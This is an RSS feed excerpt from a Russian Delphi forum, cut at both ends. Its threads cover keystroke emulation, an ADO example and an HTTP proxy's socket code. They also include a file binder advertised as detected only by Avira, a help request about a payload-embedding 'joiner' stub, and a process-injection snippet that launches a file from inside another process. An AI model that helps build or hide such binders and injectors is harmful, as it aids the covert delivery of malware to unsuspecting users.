<content:encoded>Всем привет, возник такой вопрос, как заставить работать &quot;AutoHotkey Script&quot; из своей программы..,дело в том что у меня уже есть скрипт, который через определенный промежуток времени нажимает кнопку UP (стрелка вверх), запускается скрипт в два захода, сначала активируется на &quot;Insert&quot; для того что бы его можно было отключать, потом включается на &quot;End&quot;..., так вот я уже 3й день пытаюсь решить задачу по его запуску из своей программы, пробовал разные эмуляции нажатия клавиш в делфи, что бы активировать скрипт, но ни один пример не работает, я так понял что сам &quot;AutoHotkey Script&quot; перехватывает нажатия клавиш на каком то другом уровне, хз как так... &lt;br /&gt;&lt;br /&gt; вот методы которые я использовал в своей программе на делфи: &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; procedure EmulateKey(Wnd: HWND; VKey: Integer&amp;#41;; &lt;br /&gt; asm &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push 0 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push edx &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push 0101H //WM_KEYUP &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push eax &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push 0 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push edx &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push 0100H //WM_KEYDOWN &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push eax &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;call PostMessage &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;call PostMessage &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; // Пример использования: &lt;br /&gt; EmulateKey(Edit1.Handle, VK_END&amp;#41;; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; так же пробывал вот этот пример: &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; keybd_event(VK_END, 0, 0, 0&amp;#41;; &lt;br /&gt; keybd_event(VK_END, 0, KEYEVENTF_KEYUP, 0&amp;#41;; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; и еще пару примеров такого же плана, но &quot;AutoHotkey Script&quot; не хочет запускаться ни в какую, быть может кто знает как решить эту проблему? &lt;img src=&quot;http://s5.ucoz.net/sm/23/wacko.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;wacko&quot; /&gt; &lt;br /&gt;&lt;br /&gt; вот сам скрипт:</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>xXxSh@dowxXx</dc:creator>
<guid>https://delfcode.ru/forum/9-679-1</guid>
</item>
<item>
<title>WgBinder 1.5 by Decide</title>
<link>https://delfcode.ru/forum/9-1253-1</link>
<pubDate>Fri, 04 Jul 2014 13:48:15 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: decide&lt;br /&gt;Автор последнего сообщения: xXxSh@dowxXx&lt;br /&gt;Количество ответов: 6</description>
<content:encoded>&lt;a class=&quot;link&quot; target=&quot;_blank&quot; href=&quot;http://u.to/LBYPCA&quot; title=&quot;http://wg.do.am/wg.png&quot; rel=&quot;nofollow&quot;&gt;http://wg.do.am/wg.png&lt;/a&gt; &lt;br /&gt; Выкладываю свой биндер!На данный момент палится только авирой</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>decide</dc:creator>
<guid>https://delfcode.ru/forum/9-1253-1</guid>
</item>
<item>
<title>Joiner</title>
<link>https://delfcode.ru/forum/9-1182-1</link>
<pubDate>Sat, 28 Dec 2013 15:40:50 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Error_Stub&lt;br /&gt;Автор темы: xXxSh@dowxXx&lt;br /&gt;Автор последнего сообщения: d4rkzy&lt;br /&gt;Количество ответов: 10</description>
<content:encoded>Всем как всегда доброго времени суток! &lt;br /&gt;&lt;br /&gt; Ребята, прошу вашей помощи, так как у меня уже мозг-off на кануне нового года. &lt;br /&gt;&lt;br /&gt; Кстати говоря ВСЕХ ВСЕХ ВСЕХ С НАСТУПАЮЩИМ! &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;br /&gt;&lt;br /&gt; ну так вот, есть у меня исходник одного джойнера, правда если я правильно понял, где то в коде стаба ошибка (хотя может и не в стабе), файлы склеивает, хекс-редактором правда не проверял, но вроде склеивает, а вот при запуске, получается так что результативный файл как бы остается тем же файлом но с полезной нагрузкой в размере того с чем его клеили, целостность исходного файла вроде бы не нарушается, но распаковка почему то не происходит, хотя вроде бы в исходнике стаба все прописано, в общем кто может разобраться, гляньте пожалуйста. &lt;br /&gt; Зарание огромное спасибо!</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>xXxSh@dowxXx</dc:creator>
<guid>https://delfcode.ru/forum/9-1182-1</guid>
</item>
<item>
<title>Inject exe to process</title>
<link>https://delfcode.ru/forum/9-1183-1</link>
<pubDate>Fri, 27 Dec 2013 18:20:22 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: ошибка в исключении&lt;br /&gt;Автор темы: xXxSh@dowxXx&lt;br /&gt;Автор последнего сообщения: d4rkzy&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>И снова здравствуйте! &lt;br /&gt;&lt;br /&gt; Есть у меня исходник одного примера инжекта исполняемых файлов в процесс, исходник очень простой, даже помнится мне пару лет назад мы его уже обсуждали, но в связи с давними переездами форума видимо тема где то затерялась, ну да ладно, не суть... &lt;br /&gt;&lt;br /&gt; так вот, в исходнике есть одна процедура, вот кстати и она: &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; procedure MyFunc(Mass: Pointer&amp;#41;; stdcall; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;with TMass(Mass^&amp;#41; do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@WinExec:=GetProcAddress(LoadLibrary(Kernel32&amp;#41;, WinExecName&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@Sleep:=GetProcAddress(LoadLibrary(Kernel32&amp;#41;, SleepName&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while true do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WinExec(MyName, 5&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sleep(10000&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; но вот незадача, необходимо реализовать проверку на то запущен ли наш файл из процесса в который мы проинжектились, дабы не запуститься дважды, или не запущен. &lt;br /&gt;&lt;br /&gt; необходимо как то добавить функцию проверки процесса (она кстати тоже есть в исходнике, но она относится к основной программе инжектору) в процедуру которая инжектится с файлом в процесс, как это можно реализовать? &lt;br /&gt;&lt;br /&gt; выкладываю исходник что бы все было более менее понятно, если не затруднит, подскажите пожалуйста, будьте так любезны?&lt;p&gt;&lt;b&gt;Добавлено&lt;/b&gt; (27.12.2013, 19:57)&lt;br /&gt;---------------------------------------------&lt;br /&gt;И еще, вот в этом примере инжектиться не сам исполняемый файл в процесс, а лишь только часть кода которая его запускает оттуда где лежит сам исполняемый exe файл, а может быть кто нибудь знает как целиком инжектить файл в процесс ну или в память, или проще переписать код в библиотеку и инжектить уже её ?</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>xXxSh@dowxXx</dc:creator>
<guid>https://delfcode.ru/forum/9-1183-1</guid>
</item>
<item>
<title>Работа с ADO</title>
<link>https://delfcode.ru/forum/9-1180-1</link>
<pubDate>Sat, 21 Dec 2013 05:35:31 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Delphi&lt;br /&gt;Автор темы: Hargen&lt;br /&gt;Автор последнего сообщения: Hargen&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>Небольшой пример работы с ADO</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>Hargen</dc:creator>
<guid>https://delfcode.ru/forum/9-1180-1</guid>
</item>
<item>
<title>HTTP PROXY SERVER</title>
<link>https://delfcode.ru/forum/9-1149-1</link>
<pubDate>Fri, 04 Oct 2013 15:12:51 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: HTTP PROXY SERVER&lt;br /&gt;Автор темы: Neo&lt;br /&gt;Автор последнего сообщения: xXxSh@dowxXx&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Всем привет, вот написал я данный проксик, он работает,когда данные не большие гоняются,а когда зафигичишь раузер,то не работает.В чём может быть трабла??? &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;unit TProxiUnit; &lt;br /&gt;&lt;br /&gt; interface &lt;br /&gt; uses Windows,Winsock; &lt;br /&gt; function GetTextBetweenTags(headers: PChar&amp;#41;: string; &lt;br /&gt; function GetIP(Host: String&amp;#41;: string; &lt;br /&gt; type &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TPROXI = class &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;private &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WS:TwsaData; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sock: TSocket; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hAddr: TSockAddr; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Host&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:PChar; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Port&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:Word; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Data: Pointer; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;constructor Create(Port_: Word&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure Send_(Date: Pointer&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Procedure Recv_; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;destructor destroy; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt; implementation &lt;br /&gt;&lt;br /&gt; function GetIP(Host: String&amp;#41;: string; &lt;br /&gt; type &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TaPInAddr = array &amp;#91;0..10] of PInAddr;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PaPInAddr = ^TaPInAddr;&amp;nbsp;&amp;nbsp;&lt;br /&gt; var&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;phe&amp;nbsp;&amp;nbsp;: PHostEnt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pptr : PaPInAddr;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Buffer : array &amp;#91;0..63] of char;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;I&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: Integer;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GInitData&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: TWSADATA;&amp;nbsp;&amp;nbsp;&lt;br /&gt; begin&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSAStartup(MakeWord(2,0&amp;#41;, GInitData&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := &apos;&apos;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//не найден!&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ZeroMemory(@Buffer, SizeOf(Buffer&amp;#41;&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lstrcpy(Buffer, PChar(Host&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;phe :=GetHostByName(buffer&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if phe = nil then begin&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSACleanup;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pptr := PaPInAddr(Phe^.h_addr_list&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;I := 0;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while pptr^&amp;#91;I] &lt;&gt; nil do begin&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result:=PChar(inet_ntoa(pptr^&amp;#91;I]^&amp;#41;&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Inc(I&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;finally&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSACleanup;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&amp;nbsp;&amp;nbsp;&lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; function GetTextBetweenTags(headers: PChar&amp;#41;: string; &lt;br /&gt; const ctrf = #13#10; &lt;br /&gt; Var i,j: integer; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=&apos;&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;i:= Pos(&apos;Host:&apos;,headers&amp;#41;+5; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if i &lt;6 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;j:=i; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;repeat &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=Result+Headers&amp;#91;j]; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Inc(j&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;until headers&amp;#91;j] = #13; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; Procedure Colors(Red: boolean&amp;#41;; &lt;br /&gt; Var hCon: DWORD; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;hCon := GetStdHandle(STD_OUTPUT_HANDLE&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if Red then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SetConsoleTextAttribute(hCon, 7&amp;#41;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SetConsoleTextAttribute(hCon, 3&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure THREAD(P :Pointer&amp;#41;; stdcall; &lt;br /&gt; const PPORT = 80; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ctrf = #13#10; &lt;br /&gt; Var Ns: TSocket; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i,j: integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Data,Tmp: array&amp;#91;0..8*MAX_PATH] of char; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;addr: TSockAddr; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Snd: TSocket; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;host: string; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Str: string; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//TimeVal: TTimeVal; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//FDSet: TFDSet; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Ns:=TSocket(P&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;WriteLn(Ns&amp;#41;; &lt;br /&gt; {&amp;nbsp;&amp;nbsp;FD_ZERO(FDSet&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;FD_SET(Ns, FDSet&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TimeVal.tv_sec := 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TimeVal.tv_usec := 500; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ioctlsocket(Ns,FIONREAD,i&amp;#41;;} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while true do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Str:=&apos;&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i:=1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while i&gt;0 do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//Читаю данные с клиента &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ZeroMemory(@Data,SizeOf(Data&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i:=recv(Ns,Data,SizeOf(Data&amp;#41;,0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Str:=Str+Data; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WriteLn(Str&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;host:=GetTextBetweenTags(PChar(Str&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;host:=GetIP(host&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//Определил IP куда хотел подконектиться клиент &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Addr.sin_family:=PF_INET; &lt;br 